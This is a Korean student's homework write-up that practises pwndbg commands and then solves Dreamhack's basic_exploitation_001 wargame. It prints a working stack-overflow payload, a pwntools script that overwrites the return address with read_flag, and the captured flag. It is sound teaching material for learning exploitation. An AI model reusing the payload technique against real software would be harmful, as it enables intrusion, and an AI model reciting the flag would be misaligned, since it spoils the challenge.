

Beginner-C Bootcamp 10주차 과제

20215789 산업보안학과 김문정

<워게임 입문>

Challenge1. pwndbg 설치 및 사용법 익히기

우선 pwndbg란 GDB에 추가로 설치하는 플러그인으로 원래 GDB는 디버깅 기능만 제공하지만 pwndbg를 설치하면 스택 시각화, 레지스터 보기, 보호기법 확인, 힙 분석, 어셈블리 분석 등이 편해진다는 장점이 있다.

```
user@user-VirtualBox:~$ gdb ./buff
GNU gdb (Ubuntu 15.1-1ubuntu1~24.04.1) 15.1
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 198 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 11 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from ./buff...
----- tip of the day (disable with set show-tips off) -----
Use Pwndbg's config and theme commands to tune its configuration and theme colors!
```

pwndbg를 설치완료하고 checksec, stack, disas main, nearpc명령어를 사용해보았다.

```
pwndbg> checksec
File:      /home/user/buff
Arch:      amd64
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes
```

9주차에 학습하지 않은 부분인 SHSTK, IBT, Stripped, Debuginfo에 대해 설명은

SHSTK는 일반 스택과 별도로 그림자 스택을 유지하고 이 별도의 그림자 스택에도 원래의 ret add를 저장해 일반 스택 주소와 그림자 스택의 주소가 다르면 즉시 종료시키는 보호기법이다. 리턴 주소 변조를 막기 위한 보호기법인 것이다. IBT는 간접 점프를 제한하는 것으로 공격자가 ret->임의 주소->셸코드로 점프하려 하면 CPU가 명령어가 있는 위치인지 확인하고, 없으면 종료되도록 하는 보호기법이다. Stripped는 심볼 정보를 제거했는지 여부로 NO일경우 함수 이름이 보이고 Yes일경우 주소만 보이도록 하는것이다. Debuginfo는 디버깅정보를 포함했는지 여부로 컴파일 시 -g옵션으로 실행되는 것이다. NO일 경우 소스코드 확인이 불가하다.

이후 stack, disas vuln, nearpc명령어를 실행, vuln에 중단점을 걸고, 디버거를 실행시켰다.

```
pwndbg> stack
00:0000| rsp 0x7fffffffddd0 {buf} ← 0
01:0008| -008 0x7fffffffddd8 {buf+0x8} → 0x7ffff7fe5af0 (dl_main) ← endbr64
02:0010| rbp 0x7fffffffddde0 → 0x7fffffffddfd0 → 0x7fffffffde90 → 0x7fffffffdef0 ← 0
03:0018| +008 0x7fffffffddde8 → 0x4011a2 (main+18) ← mov eax, 0
04:0020| +010 0x7fffffffddfd0 → 0x7fffffffde90 → 0x7fffffffdef0 ← 0
05:0028| +018 0x7fffffffddfd8 → 0x7ffff7c2a1ca (__libc_start_call_main+122) ← mov edi, eax
06:0030| +020 0x7fffffffde00 → 0x7fffffffde40 → 0x403e00 (__do_global_ctors_aux_fini_array_entry) → 0x401120 (__do_global_ctors_aux) ← endbr64
07:0038| +028 0x7fffffffde08 → 0x7fffffffdf18 → 0x7fffffffef245 ← '/home/user/buff'
```

```
pwndbg> disas vuln
Dump of assembler code for function vuln:
   0x0000000000401170 <+0>:      endbr64
   0x0000000000401174 <+4>:      push    rbp
   0x0000000000401175 <+5>:      mov     rbp, rsp
   0x0000000000401178 <+8>:      sub     rsp, 0x10
=> 0x000000000040117c <+12>:     lea     rax, [rbp-0x10]
   0x0000000000401180 <+16>:     mov     rdi, rax
   0x0000000000401183 <+19>:     mov     eax, 0x0
   0x0000000000401188 <+24>:     call    0x401060 <gets@plt>
   0x000000000040118d <+29>:     nop
   0x000000000040118e <+30>:     leave
   0x000000000040118f <+31>:     ret
End of assembler dump.
```

```
pwndbg> nearpc
b> 0x40117c <vuln+12>      lea     rax, [rbp - 0x10]      RAX => 0x7fffffffddd0 {buf}
} ← 0
0x401180 <vuln+16>      mov     rdi, rax                RDI => 0x7fffffffddd0 {buf}
}
0x401183 <vuln+19>      mov     eax, 0                EAX => 0
0x401188 <vuln+24>      call    gets@plt              <gets@plt>

0x40118d <vuln+29>      nop
0x40118e <vuln+30>      leave
0x40118f <vuln+31>      ret

0x401190 <main>         endbr64
0x401194 <main+4>        push    rbp
0x401195 <main+5>        mov     rbp, rsp
```

stack에 보이는 명령어들의 주소와, 저번 9주차때 gdb에서 실행하였던 info frame명령어의 실행결과를 비교해보니

```
pwndbg> stack
00:0000 | rsp 0xffffffffddd0 {buf} ← 0
01:0008 | -008 0xffffffffddd8 {buf+0x8} → 0xfffffffffe5af0 (dl_main) ← endbr64
02:0010 | rbp 0xffffffffdde0 → 0xffffffffddf0 → 0xffffffffde90 → 0xffffffffdef0 ← 0
03:0018 | +008 0xffffffffdde8 → 0x4011a2 (main+18) ← mov eax, 0
04:0020 | +010 0xffffffffddf0 → 0xffffffffde90 → 0xffffffffdef0 ← 0
05:0028 | +018 0xffffffffddf8 → 0xffffffffc2a1ca (__libc_start_call_main+122) ← mov edi, eax
06:0030 | +020 0xffffffffde00 → 0xffffffffde40 → 0x403e00 (__do_global_ctors_aux_fini_array_entry) → 0x401120 (__do_global_ctors_aux) ← endbr64
07:0038 | +028 0xffffffffde08 → 0xffffffffdf18 → 0xffffffffe245 ← '/home/user/buff'
```

```
— [위 / 낮은 주소 방향 (Low Address)] —

0xffffffffddd0 ← buf 시작 위치 (char buf[16]) ← [★출발점] 여기서부터 입력 시작!
|               | 'A' * 16개 채워짐 (16바이트)
0xffffffffdddf ← buf 끝 위치

—
0xffffffffdde0 ← saved rbp 저장 위치 ← [징검다리] 'rbp at 0xffffffffdde0'
|               | 'A' * 8개 채워짐 (8바이트)
0xffffffffdde7 ← saved rbp 끝 위치

—
0xffffffffdde8 ← saved rip 저장 위치 ← [🎯 최종 타깃] 'rip at 0xffffffffdde8'
|               | 값: 0x4011a2 (원래 main으로 돌아갈 주소)
|               | 이 8바이트 공간을 secret() 주소로 바꿔치기 해야 함!
0xffffffffddef ← saved rip 끝 위치

— [vuln() 함수의 스택 프레임 끝 / 기준점 경계선] —

0xffffffffddf0 ← frame at 0xffffffffddf0 (현재 프레임 기준점, Previous sp)

—
0xffffffffde00 ← called by frame at 0xffffffffde00 (부모 main 프레임 시작점)

— [아래 / 높은 주소 방향 (High Address)] —
```

그림과 같이 잘 맞는 것을 확인할 수 있다. 또한 stack에서 보이는 주소/ disas vuln과 nearpc에서 보이는 주소가 서로 다르길래 의문점이 생겼다. 인공지능의 도움을 받으니 주소가 0x401170, 0x401175, 0x40118a 처럼 생긴 것에 찾아가면, 글자나 숫자가 저장되어 있는 것이 아니라 컴퓨터가 읽고 실행할 명령어 기계어 코드(endbr64, mov, call, ret 등)가 저장되어 있음을 알 수 있고 즉 적힌 내용은 컴퓨터가 실행할 행동이라는 것을 알 수 있었다.

반면 주소가 0xffffffffd90, 0xffffffffd98 처럼 길고 복잡하게 생긴 부분에 찾아가면 명령어가 아니라, 키보드로 입력한 문자열(buf)이나, 함수가 끝나면 돌아갈 타깃 주소 같은 실제 데이터가 들어간다는 차이가 있다는 것을 알 수 있었다.

또한 disas와 nearpc의 차이점은 함수 전체를 보여주는 것과 rip주변 즉 어디를 실행중인지를 보여주는 차이가 있다는 것도 확인할 수 있었다.

Challenge2. 워게임 문제 풀기

선택한 문제는

<https://dreamhack.io/wargame/challenges/3> (basic_exploitation_001)

우선 파일을 다운로드받고, 실행시키려 하였는데 실행이 안된다고 해서 찾아보니 32비트 바이너리로 제공된 파일이기 때문에 패키지를 설치해야 한다는 것을 알 수 있었다. 해당 파일이 32비트인지 64비트인지 알 수 있는 방법은

```
user@user-VirtualBox:~/bof$ file ./basic_exploitation_001
./basic_exploitation_001: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3e59f379d1f0653db81908d1d3a5eb9dce83816f, not stripped
```

위 사진처럼 해당 바이너리 파일이 있는 디렉터리에 들어가서

file ./basic_exploitation_001을 입력해주면 32bit파일이라는 것을 확인할 수 있다. 이에

```
sudo dpkg --add-architecture i386
```

```
sudo apt update
```

```
sudo apt install -y libc6:i386 libncurses6:i386 libstdc++6:i386
```

와 같이 시스템에 32비트 아키텍처 지원을 추가하고 필수 라이브러리를 설치하였다.

또한 파일 실행에 앞서 소스코드를 보며 어떠한 취약점이 있는지를 확인해보아야 한다.

```
21
22 void read_flag() {
23     system("cat flag");
24 }
25
26 int main(int argc, char *argv[]) {
27
28     char buf[0x80];
29     initialize();
30
31     gets(buf);
32
33     return 0;
34 }
35
36
```

소스코드를 보면 취약한 부분을 바로 확인할 수 있다. 0x80은 16*8=128이므로 스택에 128바이트 공간을 만든 것을 알 수 있고, 입력 함수로 사용자 입력에 대한 길이 제한을 하지 않는 gets()함수를 쓰기 때문에 128바이트보다 더 큰 데이터를 입력하게 될 시 스택의 다른 부분까지 덮어쓰게 되는 버퍼오버플로우 취약점이 생긴다는 것을 알 수 있다.

또한, read_flag 함수가 존재하는 것으로 보아 main 함수가 종료될 때 ret add를 read_flag 함수의 주소로 변경하게 된다면 플래그를 획득할 수 있다는 사실도 유추할 수 있다.

지난 9주차에서 학습한 내용을 바탕으로 ret add가 있는 부분까지 얼마나 값을 써야하는지 생각해본다면 우선 buf의 길이 128비트+ main 함수의 끝부분을 가리키는 레지스터만큼 값을 쓰고, 바로 그 뒤에 read_flag의 주소를 넣으면 된다는 것을 알 수 있다. 이때, 레지스터 이름은 rbp가 아니고 ebp가 된다.

```
pwndbg> info frame
Stack level 0, frame at 0xffffcfa0:
 eip = 0x80485cf in main; saved eip = 0xf7d98cb9
 called by frame at 0xffffd000
 Arglist at 0xffffcf98, args:
 Locals at 0xffffcf98, Previous frame's sp is 0xffffcfa0
 Saved registers:
  ebp at 0xffffcf98, eip at 0xffffcf9c
```

info frame 명령에서도 확인할 수 있고 이름이 다른 이유는 32비트 환경에서는 CPU 레지스터 이름들이 E(Extended)로 시작하기 때문이다. 따라서 스택의 기준점을 잡는 베이스 포인터 레지스터 이름은 EBP이고, 크기는 4바이트가 된다. 반면 64비트 환경이 되면 레지스터 이름들이 R(Register)로 시작하게 되며 베이스 포인터 이름이 RBP가 되고, 크기도 8바이트로 늘어난다는 것을 알 수 있다. 따라서 필요한 바이트는 128+4=132라는 것을 확인할 수 있다.

또한 buf의 주소를 확인하기 위해 p &buf 명령어를 입력했지만 오류가 나서 disas main을 입력해보았더니

```
pwndbg> p &buf
No symbol "buf" in current context.
pwndbg> disas main
Dump of assembler code for function main:
 0x080485cc <+0>:      push    ebp
 0x080485cd <+1>:      mov     ebp,esp
 0x080485cf <+3>:      add     esp,0xffffffff80
=> 0x080485d2 <+6>:      call   0x8048572 <initialize>
 0x080485d7 <+11>:     lea     eax,[ebp-0x80]
 0x080485da <+14>:     push   eax
 0x080485db <+15>:     call   0x80483d0 <gets@plt>
 0x080485e0 <+20>:     add     esp,0x4
 0x080485e3 <+23>:     mov     eax,0x0
 0x080485e8 <+28>:     leave
 0x080485e9 <+29>:     ret
End of assembler dump.
pwndbg> p/x 0xffffcf98 - 0x80
$2 = 0xffffcf18
pwndbg> p/d 0xffffcf9c - 0xffffcf18
$3 = 132
pwndbg>
```

ebp-0x80 이것은 buf의 공간을 할당해주기 위해 현재 기준점을 내린다는 의미이기 때문에 ebp-0x80이 buf배열의 시작 주소가 된다는 것을 알 수 있다. 아까 info frame에서 ebp의 주소는 0xffffcf98이라는 것을 알았으니, 0xffffcf98 - 0x80을 16진수 뺄셈을 하면 0xffffcf18 이것이 바로 buf의 시작주소임을 알 수 있다. 또한 정말 132바이트만큼 입력을 받고 뒤에 ret add를 붙여야 익스플로잇이 먹히는지를 확인하기 위해 ret add가 저장된 곳인 eip의 주소 0xffffcf9c (info frame에서 확인한 값)에서 buf의 주소 0xffffcf18를 빼보면 132가 나오는 것을 확인할 수 있다. **이는 buf주소부터 eip시작점까지의 거리를 구한 것이다.** 또한 readflag의 주소를 넣기위해 p readflag를 확인해보면 0x80485b9임을 확인할 수 있다.

```

pwndbg> p read_flag
$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>

```

이제 바이트 입력갯수와 readflag의 주소를 알아냈으니 페이로드를 작성할 수 있다. 이때 CPU가 데이터를 메모리에 저장할 때 리틀 엔디안 방식으로 저장하기 때문에, 주소가 잘 들어갈 수 있도록 거꾸로 작성해주어야 한다. 이를 바탕으로 작성한 페이로드는 다음과 같다.

```

python3 -c "import sys; sys.stdout.buffer.write(b'A'*132 + b'\xb9\x85\x04\x08')"
| ./basic_exploitation_001

```

이 페이로드가 익스플로잇이 되는지를 확인하기 위해 로컬에서 임의로 실습을 진행해 보면 아래 사진과 같이 잘 실행되는 것을 확인할 수 있다.

```

user@user-VirtualBox:~/bof$ echo "DH{local_test_clear_1234}" > flag
user@user-VirtualBox:~/bof$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*132 + b'\xb9\x85\x04\x08')" | ./basic_exploitation_001
DH{local_test_clear_1234}
Segmentation fault (core dumped)

```

로컬 검증이 완료되었으니 드림핵에서 제공하는 원격서버에 이 패킷을 보내면 플래그를 얻을 수 있다는 것을 알 수 있다.

pip install pwntools

로 해당 도구를 설치하고 터미널에서 nano ex.py을 쳐서 익스플로잇 스크립트를 작성한다. 스크립트의 내용은 다음과 같다.

Python

```
from pwn import *

# 1. 드림핵 문제 서버 접속 정보 설정
# 시스템 해킹용 nc 주소와 포트(15673)를 입력합니다.
p = remote('host3.dreamhack.games', 15673)

# 2. 페이로드 구성
# [더미 데이터 132바이트] + [read_flag 함수의 주소 (0x080485b9)]
# p32() 함수는 주소값을 자동으로 리틀 엔디언 형태(\xb9\x85\x04\x08)로 변환해줍니다.
payload = b'A' * 132 + p32(0x080485b9)

# 3. 서버에 조작된 입력값 전송
p.sendline(payload)

# 4. 서버로부터 출력되는 플래그 확인 및 상호작용 유지
p.interactive()
```

이제 터미널에서 python3 ex.py를 입력한다.

```
user@user-VirtualBox:~$ cd ~/bof
user@user-VirtualBox:~/bof$ nano ex.py
user@user-VirtualBox:~/bof$ python3 ex.py
[+] Opening connection to host3.dreamhack.games on port 15673: Trying 23.81.42.2
[+] Opening connection to host3.dreamhack.games on port 15673: Done
[*] Switching to interactive mode
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive
$
```

Flag 입력

제출하기

축하합니다! 문제를 해결했습니다.

다음과 같이 플래그를 획득하였다.

플래그: DH{01ec06f5e1466e44f86a79444a7cd116}